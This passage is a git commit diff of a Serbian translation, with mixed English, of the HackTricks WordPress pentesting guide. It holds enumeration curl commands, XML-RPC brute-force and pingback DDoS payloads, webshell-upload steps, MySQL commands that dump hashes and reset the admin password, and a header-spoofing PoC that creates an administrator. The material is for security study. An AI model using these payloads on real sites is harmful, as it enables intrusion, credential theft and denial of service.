Translated ['', 'src/welcome/hacktricks-values-and-faq.md', 'src/network

This commit is contained in:
Translator 2025-10-04 09:44:38 +00:00
parent 02f5e79788
commit e1f2bf9456
2 changed files with 441 additions and 291 deletions

View File

@ -2,51 +2,51 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Osnovne informacije
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** tako da ako promenite neki php fajl teme da biste dobili RCE verovatno ćete koristiti taj path. Na primer: Koristeći **theme twentytwelve** možete **access** fajl **404.php** na: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Otpremljeni fajlovi se nalaze na:** `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Fajlovi tema se nalaze u /wp-content/themes/,** tako da ako promenite neki php iz teme da dobijete RCE verovatno ćete koristiti taj put. Na primer: Koristeći **theme twentytwelve** možete **pristupiti** fajlu **404.php** u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Još jedan koristan url može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- U **wp-config.php** možete naći root lozinku baze podataka.
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- U **wp-config.php** možete pronaći root lozinku baze podataka.
- Podrazumevane putanje za login koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
### **Glavni WordPress fajlovi**
- `index.php`
- `license.txt` sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.
- `wp-activate.php` se koristi za proces aktivacije putem email-a prilikom podešavanja novog WordPress sajta.
- Login folders (may be renamed to hide it):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao šemu enkodiranja. Ovaj tip komunikacije je zamenjen WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Folder `wp-content` je glavna mapa u kojoj se čuvaju plugins i themes.
- `wp-content/uploads/` je direktorijum gde se čuvaju fajlovi koje su učitani na platformu.
- `wp-includes/` Ovo je direktorijum gde se nalaze core fajlovi, kao što su sertifikati, fontovi, JavaScript fajlovi i widget-i.
- `wp-sitemap.xml` U Wordpress verzijama 5.5 i novijim, Wordpress generiše sitemap XML fajl sa svim javnim postovima i javno queryable post type-ovima i taxonomies.
- Folderi za login (mogu biti preimenovani da bi se sakrili):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao mehanizam kodiranja. Ovaj način komunikacije je zamenjen WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Folder `wp-content` je glavni direktorijum gde su smešteni dodaci i teme.
- `wp-content/uploads/` je direktorijum gde se čuvaju svi fajlovi otpremljeni na platformu.
- `wp-includes/` je direktorijum gde su smešteni core fajlovi, kao što su sertifikati, fontovi, JavaScript fajlovi i widgeti.
- `wp-sitemap.xml` U WordPress verzijama 5.5 i novijim, WordPress generiše sitemap XML fajl sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.
**Post exploitation**
- Fajl `wp-config.php` sadrži informacije potrebne WordPress-u za konekciju na bazu podataka kao što su ime baze, host baze, username i password, authentication keys i salts, i prefiks tabela baze podataka. Ovaj konfiguracioni fajl se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno pri rešavanju problema.
- Fajl `wp-config.php` sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka kao što su ime baze, database host, korisničko ime i lozinka, authentication keys i salts, i prefiks tabela u bazi. Ovaj konfiguracioni fajl se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno pri rešavanju problema.
### Users Permissions
### Dozvole korisnika
- **Administrator**
- **Editor**: Publish and manages his and others posts
- **Author**: Publish and manage his own posts
- **Contributor**: Write and manage his posts but cannot publish them
- **Subscriber**: Browser posts and edit their profile
- **Editor**: Objavljuje i upravlja sopstvenim i tuđim postovima
- **Author**: Objavljuje i upravlja sopstvenim postovima
- **Contributor**: Piše i upravlja svojim postovima, ali ne može da ih objavi
- **Subscriber**: Pregleda postove i uređuje svoj profil
## **Passive Enumeration**
## **Pasivna enumeracija**
### **Get WordPress version**
### **Dobijanje WordPress verzije**
Proverite da li možete pronaći fajlove `/license.txt` ili `/readme.html`
Unutar **source code** stranice (primer sa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
U izvornom kodu stranice (primer sa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>)
- CSS link datoteke
- CSS link fajlovi
![](<../../images/image (533).png>)
- JavaScript datoteke
- JavaScript fajlovi
![](<../../images/image (524).png>)
@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Izdvajanje verzija uopšteno
### Izvlačenje verzija uopšteno
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -81,11 +81,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Dodaci i teme
Verovatno nećete moći da pronađete sve Plugins i Themes koje su moguće. Da biste otkrili sve, moraćete da **actively Brute Force a list of Plugins and Themes** (nadamo se da za nas postoje automatizovani alati koji sadrže te liste).
Verovatno nećete moći da pronađete sve dostupne dodatke i teme. Da biste otkrili sve, moraćete da **aktivno Brute Force listu dodataka i tema** (nadamo se da postoje automatizovani alati koji sadrže te liste).
### Korisnici
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing users IDs:
- **ID Brute:** Dobijate važeće korisnike sa WordPress sajta putem Brute Forcing-a korisničkih ID-jeva:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
@ -99,19 +99,19 @@ Još jedan `/wp-json/` endpoint koji može otkriti neke informacije o korisnicim
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Imajte na umu da ovaj endpoint izlaže samo korisnike koji su napravili post. **Biće dostupne samo informacije o korisnicima kojima je ova funkcija omogućena**.
Imajte na umu da ovaj endpoint izlaže samo korisnike koji su objavili post. **Biće dostupne samo informacije o korisnicima koji imaju omogućenu ovu funkciju**.
Takođe imajte na umu da **/wp-json/wp/v2/pages** može leak IP addresses.
Takođe imajte na umu da **/wp-json/wp/v2/pages** could leak IP addresses.
- **Login username enumeration**: Prilikom prijave na **`/wp-login.php`** **poruka** je **različita** i ukazuje da li **korisničko ime postoji ili ne**.
- **Login username enumeration**: Prilikom prijavljivanja na **`/wp-login.php`** **poruka** je **različita** u zavisnosti od toga da li navedeno **korisničko ime postoji ili ne**.
### XML-RPC
Ako je `xml-rpc.php` aktivan možete izvesti credentials brute-force ili ga koristiti za pokretanje DoS napada na druge resurse. (Na primer, možete automatizovati ovaj proces [using this](https://github.com/relarizky/wpxploit)).
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Možete automatizovati ovaj proces[ using this](https://github.com/relarizky/wpxploit) na primer).
Da biste proverili da li je aktivan pokušajte da pristupite _**/xmlrpc.php**_ i pošaljete ovaj zahtev:
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
**Provera**
**Proveri**
```html
<methodCall>
<methodName>system.listMethods</methodName>
@ -120,9 +120,9 @@ Da biste proverili da li je aktivan pokušajte da pristupite _**/xmlrpc.php**_ i
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Credentials Bruteforce**
**Bruteforce kredencijala**
**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neke od metoda koje se mogu koristiti za brute-force credentials. Ako pronađete bilo koju od njih, možete poslati nešto poput:
**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neke od metoda koje se mogu koristiti za brute-force kredencijala. Ako možete pronaći bilo koju od njih, možete poslati nešto poput:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ Da biste proverili da li je aktivan pokušajte da pristupite _**/xmlrpc.php**_ i
</params>
</methodCall>
```
Poruka _"Incorrect username or password"_ u odgovoru sa statusnim kodom 200 treba да се појави ако креденцијали нису валидни.
Poruka _"Incorrect username or password"_ unutar odgovora sa status kodom 200 treba da se pojavi ako kredencijali nisu validni.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Koristeći ispravne kredencijale možete uploadovati fajl. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Korišćenjem ispravnih kredencijala možete otpremiti fajl. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -174,12 +174,12 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
**Bypass 2FA**
Ova metoda je namenjena programima, a ne ljudima, i stara je, zato ne podržava 2FA. Dakle, ako imate validne creds ali je glavni pristup zaštićen 2FA, **možda ćete moći da zloupotrebite xmlrpc.php da se ulogujete tim creds i zaobiđete 2FA**. Imajte na umu da nećete moći da izvršite sve akcije koje možete iz konzole, ali i dalje biste mogli da dođete do RCE kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Ova metoda je namenjena programima, ne ljudima, i zastarela je, zato ne podržava 2FA. Dakle, ako imate važeće podatke za prijavu, ali je glavni ulaz zaštićen 2FA, **možete zloupotrebiti xmlrpc.php da se prijavite tim podacima zaobilaženjem 2FA**. Imajte na umu da nećete moći da izvršite sve radnje koje su moguće kroz konzolu, ali i dalje možete uspeti da dođete do RCE kako Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
Ako možete da pronađete metodu _**pingback.ping**_ u listi, možete naterati Wordpress da pošalje proizvoljan zahtev na bilo koji host/port.\
Ovo se može iskoristiti da se zamoli **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako se prouzrokuje **DDoS** na toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skenira** neku internu **mrežu** (možete navesti bilo koji port).
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
Ovo se može iskoristiti da se **hiljade** Wordpress **sajtova** nalože da **pristupe** jednoj **lokaciji** (tako se na toj lokaciji izaziva **DDoS**) ili možete iskoristiti da naterate **Wordpress** da skenira neku internu **mrežu** (možete navesti bilo koji port).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -193,7 +193,7 @@ Ovo se može iskoristiti da se zamoli **hiljade** Wordpress **sajtova** da **pri
Ako dobijete **faultCode** sa vrednošću **većom** od **0** (17), to znači da je port otvoren.
Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da biste naučili kako da zloupotrebite ovu metodu i izazovete DDoS.
Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da biste naučili kako zloupotrebiti ovu metodu da biste izazvali DDoS.
**DDoS**
```html
@ -209,15 +209,15 @@ Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da biste naučil
### wp-cron.php DoS
Ovaj fajl se obično nalazi u korenu Wordpress sajta: **`/wp-cron.php`**\
Kada se ovom fajlu **pristupi**, izvršava se "**težak**" MySQL **upit**, pa ga **napadači** mogu iskoristiti da prouzrokuju **DoS**.\
Takođe, podrazumevano se `wp-cron.php` poziva pri svakom učitavanju stranice (kad god klijent zatraži bilo koju Wordpress stranicu), što na sajtovima sa velikim saobraćajem može izazvati probleme (DoS).
Ovaj fajl obično postoji u root direktorijumu Wordpress sajta: **`/wp-cron.php`**\
Kada se ovaj fajl **accessed** izvrši se "**heavy**" MySQL **query**, pa ga **attackers** mogu iskoristiti da izazovu **DoS**.\
Takođe, po defaultu, `wp-cron.php` se poziva pri svakom učitavanju stranice (kad god client zahteva bilo koju Wordpress stranicu), što na sajtovima sa visokim saobraćajem može praviti probleme (DoS).
Preporučuje se onemogućiti Wp-Cron i napraviti pravi cronjob na hostu koji će u redovnim intervalima izvršavati potrebne radnje (bez izazivanja problema).
Preporučuje se isključiti Wp-Cron i napraviti pravi cronjob na hostu koji izvršava potrebne akcije u regularnim intervalima (bez izazivanja problema).
### /wp-json/oembed/1.0/proxy - SSRF
Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Worpress sajt može napraviti zahtev ka vama.
Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Wordpress sajt može napraviti zahtev prema vama.
This is the response when it doesn't work:
@ -230,7 +230,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Ovaj alat proverava da li postoji **methodName: pingback.ping** i putanja **/wp-json/oembed/1.0/proxy**, i ukoliko postoje, pokušava da ih iskoristi.
Ovaj alat proverava da li postoji **methodName: pingback.ping** i putanja **/wp-json/oembed/1.0/proxy**, i ako postoje, pokušava da ih exploit-uje.
## Automatski alati
```bash
@ -240,14 +240,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Dobijanje pristupa prepisivanjem bita
Više je radoznalost nego stvarni napad. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogao si flip-ovati 1 bit u bilo kojem wordpress fajlu. Dakle, mogao si flip-ovati bit na poziciji `5389` fajla `/var/www/html/wp-includes/user.php` i time NOP-ovati NOT (`!`) operaciju.
Više kuriozitet nego stvarni napad. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogao si da prebaciš 1 bit u bilo kojoj wordpress datoteci. Dakle, mogao si da prebaciš bit na poziciji `5389` u datoteci `/var/www/html/wp-includes/user.php` tako što bi zamenio NOT (`!`) operaciju NOP-om.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Modifikovanje php fajla iz korišćene teme (potrebni admin kredencijali)**
**Izmena php fajla iz korišćene teme (admin credentials needed)**
Appearance → Theme Editor → 404 Template (sa desne strane)
@ -255,7 +255,7 @@ Promeni sadržaj u php shell:
![](<../../images/image (384).png>)
Pretraži internet kako možeš da pristupiš toj ažuriranoj stranici. U ovom slučaju treba da pristupiš ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Potraži na internetu kako možeš pristupiti toj ažuriranoj stranici. U ovom slučaju treba da pristupiš ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -263,7 +263,7 @@ Možeš koristiti:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
da bi se dobila sesija.
da biste dobili sesiju.
## Plugin RCE
@ -278,82 +278,82 @@ Then add a new plugin:
![](<../../images/image (722).png>)
Upload plugin and press Install Now:
Otpremite plugin i pritisnite Install Now:
![](<../../images/image (249).png>)
Click on Procced:
Kliknite na Procced:
![](<../../images/image (70).png>)
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
Verovatno ovo naizgled neće ništa uraditi, ali ako odete u Media, videćete da je vaš shell otpremljen:
![](<../../images/image (462).png>)
Access it and you will see the URL to execute the reverse shell:
Pristupite tome i videćete URL za izvršavanje reverse shell:
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
Ova metoda podrazumeva instalaciju malicioznog plugina za koji je poznato da je ranjiv i koji se može iskoristiti za dobijanje web shella. Ovaj proces se izvodi preko WordPress dashboard-a na sledeći način:
Ova metoda podrazumeva instalaciju malicioznog plugina za koji je poznato da je ranjiv i koji se može iskoristiti za dobijanje web shella. Ovaj proces se izvodi kroz WordPress dashboard kako sledi:
1. **Plugin Acquisition**: Plugin se preuzima sa izvora kao što je Exploit DB, na primer [**ovde**](https://www.exploit-db.com/exploits/36374).
1. **Plugin Acquisition**: Plugin se nabavlja sa izvora kao što je Exploit DB, na primer [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- U WordPress dashboard-u idite na `Dashboard > Plugins > Upload Plugin`.
- Idite u WordPress dashboard, zatim u `Dashboard > Plugins > Upload Plugin`.
- Otpremite zip fajl preuzetog plugina.
3. **Plugin Activation**: Kada je plugin uspešno instaliran, mora biti aktiviran kroz dashboard.
3. **Plugin Activation**: Kada je plugin uspešno instaliran, morate ga aktivirati preko dashboarda.
4. **Exploitation**:
- Sa instaliranim i aktiviranim pluginom "reflex-gallery" može se iskoristiti jer je poznato da je ranjiv.
- Metasploit framework pruža exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter sesija, koja daje neovlašćen pristup sajtu.
- Sa pluginom "reflex-gallery" instaliranim i aktiviranim, može se izvršiti eksploatacija jer je poznat kao ranjiv.
- Metasploit framework obezbeđuje exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter session, što daje neovlašćen pristup sajtu.
- Napominje se da je ovo samo jedna od mnogih metoda za eksploataciju WordPress sajta.
Sadržaj uključuje vizuelna pomagala koja prikazuju korake u WordPress dashboard-u za instalaciju i aktiviranje plugina. Međutim, važno je napomenuti da je eksploatisanje ranjivosti na ovaj način protivzakonito i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u pravnom kontekstu, kao što je penetration testing uz izričitu dozvolu.
Sadržaj uključuje vizuelna pomagala koja prikazuju korake u WordPress dashboardu za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je eksploatisanje ranjivosti na ovaj način nezakonito i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je penetration testing uz izričitu dozvolu.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## Od XSS do RCE
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost u **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Kreira korisnika u WordPress-u.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Otpremite vaš custom plugin (backdoor) u WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Uredite ugrađeni plugin u WordPress-u.
- _**(RCE) Built-In Theme Edit:**_ Uredite ugrađenu temu u WordPress-u.
- _**(Custom) Custom Exploits:**_ Custom exploit-i za third-party WordPress plugine/teme.
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost u **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPressu. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Kreira korisnika u WordPressu.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Otpremite svoj custom plugin (backdoor) u WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Izmenite ugrađeni plugin u WordPressu.
- _**(RCE) Built-In Theme Edit:**_ Izmenite ugrađenu temu u WordPressu.
- _**(Custom) Custom Exploits:**_ Custom Exploits za Third-Party WordPress Plugins/Themes.
## Post Exploitation
Izvucite korisnička imena i lozinke:
Ekstrahujte korisnička imena i lozinke:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Promeni admin lozinku:
Promeni administratorsku lozinku:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Dodaci Pentest
## Wordpress Plugins Pentest
### Površina napada
### Attack Surface
Znati kako Wordpress dodatak može izložiti funkcionalnost ključno je za pronalaženje ranjivosti u njegovoj funkcionalnosti. Možete videti kako dodatak može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih dodataka u [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
Poznavanje načina na koji Wordpress plugin može izložiti funkcionalnost ključno je za pronalaženje ranjivosti u toj funkcionalnosti. Možete videti kako plugin može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih pluginova u [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je preko AJAX handlera. Ovi mogu sadržavati greške u logici, autorizaciji ili autentifikaciji. Štaviše, prilično često ove funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (bez obzira na njegovu ulogu).
Jedan od načina na koji plugin može izložiti funkcije korisnicima je preko AJAX handlera. Oni mogu sadržati greške u logici, autorizaciji ili autentifikaciji. Štaviše, često se dešava da ove funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju wordpress nonce-a koji **bilo koji autentifikovani korisnik u Wordpress instanci može imati** (neovisno o njegovoj ulozi).
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku:
Ovo su funkcije koje mogu biti upotrebljene za izlaganje funkcije u pluginu:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**Korišćenje `nopriv` čini endpoint dostupnim bilo kojem korisniku (čak i neautentifikovanim).**
**Korišćenje `nopriv` čini endpoint dostupnim bilo kojim korisnicima (čak i neautentifikovanim).**
> [!CAUTION]
> Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije `wp_verify_nonce`, ta funkcija samo proverava da li je korisnik prijavljen, obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup radnjama visokih privilegija.
> Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije `wp_verify_nonce`, ta funkcija samo proverava da li je korisnik prijavljen, a obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup akcijama visokih privilegija.
- **REST API**
Takođe je moguće izložiti funkcije iz wordpress-a registrujući REST API koristeći funkciju `register_rest_route`:
Moguće je takođe izložiti funkcije iz wordpress-a registrujući REST API koristeći funkciju `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
The `permission_callback` is a callback funkcija koja proverava da li je dati korisnik autorizovan da pozove API metodu.
The `permission_callback` je callback funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru korisničkih permisija.**
- **Direktan pristup php fajlu**
- **Direktan pristup PHP fajlu**
Naravno, Wordpress koristi PHP i fajlovi unutar pluginova su direktno dostupni sa weba. Dakle, ako neki plugin izlaže ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, biće eksploatabilna od strane bilo kog korisnika.
Naravno, WordPress koristi PHP i fajlovi unutar plugin-ova su direktno dostupni preko web-a. Dakle, u slučaju da neki plugin izlaže ranjivu funkcionalnost koja se aktivira samim pristupom fajlu, ona može biti iskorišćena od strane bilo kog korisnika.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Neki pluginovi implementiraju “trusted header” prečice za interne integracije ili reverse proxies i zatim koriste taj header da postave trenutni korisnički kontekst za REST zahteve. Ako header nije kriptografski vezan za zahtev od strane upstream komponente, napadač ga može falsifikovati i pristupiti privilegovanim REST rutama kao administrator.
Neki plugin-ovi implementiraju “trusted header” prečice za interne integracije ili reverse proxies i zatim koriste taj header da postave kontekst trenutnog korisnika za REST zahteve. Ako header nije kriptografski vezan za zahtev od strane upstream komponente, napadač ga može spoof-ovati i pozivati privilegovane REST rute kao administrator.
- Uticaj: neautentifikovano eskaliranje privilegija do admina kreiranjem novog administratora putem core users REST rute.
- Primer header-a: `X-Wcpay-Platform-Checkout-User: 1` (forsira korisnički ID 1, obično prvi administratorski nalog).
- Eksploatisana ruta: `POST /wp-json/wp/v2/users` sa nizom povišenih uloga.
- Impact: neautentifikovano eskaliranje privilegija do admin-a kreiranjem novog administratora preko core users REST rute.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (prisiljava user ID 1, obično prvi administratorski nalog).
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
PoC
```http
@ -391,40 +391,31 @@ Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Why it works
Zašto funkcioniše
- Plugin mapira header koji kontroliše klijent na stanje autentifikacije i preskače provere privilegija.
- WordPress core očekuje `create_users` capability za ovu rutu; plugin hack to zaobilazi direktnim postavljanjem konteksta trenutnog korisnika iz headera.
- Plugin preslikava zaglavlje kontrolisano od strane klijenta u autentifikaciono stanje i preskače provere capability-a.
- WordPress core očekuje `create_users` capability za ovu rutu; plugin hack ga zaobilazi direktnim postavljanjem konteksta trenutnog korisnika iz zaglavlja.
Expected success indicators
Očekivani indikatori uspeha
- HTTP 201 sa JSON telom koje opisuje kreiranog korisnika.
- Novi admin korisnik vidljiv u `wp-admin/users.php`.
Detection checklist
Kontrolna lista za detekciju
- Grep za `getallheaders()`, `$_SERVER['HTTP_...']`, ili vendor SDK-ove koji čitaju custom header-e da postave kontekst korisnika (npr. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Pregledajte REST registracije za privilegovane callback-ove koji nemaju robusne provere `permission_callback` i umesto toga se oslanjaju na request header-e.
- Tražite upotrebu core funkcija za upravljanje korisnicima (`wp_insert_user`, `wp_create_user`) unutar REST handler-a koje su ograničene samo vrednostima header-a.
Hardening
- Nikada ne izvlačite autentifikaciju ili autorizaciju iz header-a koji kontroliše klijent.
- Ako reverse proxy mora ubaciti identitet, završite poverenje na proxy-ju i uklonite ulazne kopije (npr. `unset X-Wcpay-Platform-Checkout-User` na edge-u), zatim prosledite potpisani token i verifikujte ga na serveru.
- Za REST rute koje izvršavaju privilegovane akcije, zahtevajte provere `current_user_can()` i strogi `permission_callback` (NE koristite `__return_true`).
- Preferirajte first-party auth (cookies, application passwords, OAuth) umesto header “impersonation”.
References: see the links at the end of this page for a public case and broader analysis.
- Pretražite (grep) za `getallheaders()`, `$_SERVER['HTTP_...']`, ili vendor SDKs koji čitaju prilagođena zaglavlja da bi postavili kontekst korisnika (npr. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Pregledajte REST registracije za privilegovane callback-e koji nemaju robusne `permission_callback` provere i umesto toga se oslanjaju na zaglavlja zahteva.
- Potražite upotrebe core funkcija za upravljanje korisnicima (`wp_insert_user`, `wp_create_user`) u REST handler-ima koje su kontrolisane samo vrednostima zaglavlja.
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
WordPress teme i plugin-i često izlažu AJAX handlere putem `wp_ajax_` i `wp_ajax_nopriv_` hook-ova. Kada se koristi varijanta **_nopriv_** **callback postaje dostupan neautentifikovanim posetiocima**, pa svaka osetljiva akcija mora dodatno implementirati:
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
3. **Strict input sanitisation / validation**.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
